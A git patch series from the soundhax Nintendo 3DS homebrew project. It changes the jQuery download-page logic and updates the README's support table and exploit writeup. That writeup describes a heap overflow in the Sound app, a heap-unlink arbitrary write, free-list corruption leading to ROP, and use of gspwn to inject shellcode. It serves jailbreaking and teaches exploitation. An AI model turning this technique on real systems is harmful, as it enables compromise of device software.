$('.firmware .group').each(function (index, elem) { + var hide_n3ds = $(elem).hasClass('no_n3ds') && $('#n3ds').hasClass('selected'); + var hide_kct = $(elem).hasClass('no_kct') && $('.kct').hasClass('selected'); + if (hide_n3ds || hide_kct) { + $(elem).removeClass('selected'); + $(elem).hide(); + } else { + $(elem).show(); + } + }) + if ( $('.region').children().hasClass('selected') && $('.console').children().hasClass('selected') - && $('.firmware').children().hasClass('selected') - ) { + && $('.firmware').children().hasClass('selected') + ) { $('#download').addClass('active'); } else { $('#download').removeClass('active'); } - //if (region_selected('div.region')) - //$('download') + }); $('#download').on('click', function() { @@ -35,8 +54,8 @@ $('#download').on('click', function() { var base = "https://github.com/nedwill/soundhax/raw/master/"; if(console_ == 'n3ds') - var filename = "soundhax-{0}-{1}.m4a".format(region, console_); + var filename = "soundhax-{0}-{1}.m4a".format(region, console_); else - var filename = "soundhax-{0}-{1}-{2}.m4a".format(region, console_, firmware_); + var filename = "soundhax-{0}-{1}-{2}.m4a".format(region, console_, firmware_); window.location.href = base + filename; }); From c3810875e543df05fc1efe37f663166998e6c127 Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Fri, 4 Dec 2020 01:50:07 +0000 Subject: [PATCH 13/13] Update README.md - All versions are now supported - Make the "Exploit" section easier to read --- README.md | 40 ++++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index 031c318..6e47fa5 100644 --- a/README.md +++ b/README.md @@ -11,25 +11,19 @@ of the firmware for which the sound app is available. | Version | N3DS/N2DS | O3DS/2DS | | --- | --- | --- | -| US 2.1-11.3 | ✓ | ✓ | -| JPN 2.1-11.3 | ✓ | ✓ | -| EUR 2.1-11.3 | ✓ | ✓ | +| US 1.0-11.3 | ✓ | ✓ | +| JPN 1.0-11.3 | ✓ | ✓ | +| EUR 1.0-11.3 | ✓ | ✓ | | KOR 4.0-11.3 | ✓ | ✓ | -| CHN 4.0-11.3 | ✗ | ✗ | -| TWN 4.1-11.3 | ✗ | ✗ | +| CHN 4.0-11.3 | N/A | ✓ | +| TWN 4.1-11.3 | N/A | ✓ | + +**All existing versions of Nintendo 3DS Sound prior to Nintendo fixing the vulnerability are now supported**. If your box is checked, then put [otherapp.bin](https://smealum.github.io/3ds/#otherapp) on the root of your SD card along with soundhax.m4a and launch the song from the sound player. It can be used along [pre9otherapp](https://github.com/hax0kartik/pre9otherapp) to launch an arm9 payload from the SD card on pre 9.0 firms (2.1 - 9.2). -## Status for KOR/CHN/TWN - -| Status | KOR | CHN | TWN | -| --- | --- | --- | --- | -| bug confirmed | ✓ | ✗ | ✗ | -| sound constants | ✓ | ✗ | ✗ | -| stage2 payload constants | ✓ | ✗ | ✗ | - ## Installation 1. Download the relevant soundhax-region-console-firmware.m4a file for your device. 2. Save the soundhax song file and copy to the root of your SD. @@ -43,7 +37,7 @@ Fixing the annoying bird: Click through all of the bird tips then close the app ## Build Install [Python 2.7](https://python.org) and [devkitARM](https://devkitpro.org/wiki/Getting_Started). -Then run `python exp.py ` to generate `soundhax-*.m4a`. +Then run `python exp.py ` to generate `soundhax-*.m4a`. ## Writeup @@ -60,19 +54,25 @@ I overflow my data onto the next heap chunk, which lets me fully control the malloc header of that chunk, which happens to be allocated at the time of the overflow. When that chunk is freed, a heap unlink is performed, which allows me to do an arbitrary write. This means I can write a dword to the stack and control -PC. Unfortunately, there aren't any usable gadgets (trust me, I looked), so I +PC. + +Unfortunately, there aren't any usable gadgets (trust me, I looked), so I had to use a more advanced technique to exploit the bug. I used the arbitrary write to overwrite the free list header with a stack address, while setting the start and end fields of the chunk being freed to cause the block to appear undersized, thus causing it to not be added to the free list -and so the stack address I just wrote is used on the next malloc. Because malloc -jumps through the free list looking for a suitable block, I had to find a stack +and so the stack address I just wrote is used on the next malloc. + +Because malloc jumps through the free list looking for a suitable block, I had to find a stack address at which there appears to be a valid heap chunk header with a large enough size for the requested allocation and null pointers for the next and prev entries -in the list, so that my stack chunk is chosen as the 'best' one. Once all of -these conditions are met, the next malloc returns the stack address as the +in the list, so that my stack chunk is chosen as the 'best' one. + +Once all of these conditions are met, the next malloc returns the stack address as the 'heap' location to write my next tag data, which lets me turn the arbitrary -write primitive into ROP. From there I use the gspwn GPU exploit to write +write primitive into ROP. + +From there I use the gspwn GPU exploit to write my stage2 shellcode over the text section of the sound process, before finally jumping to it.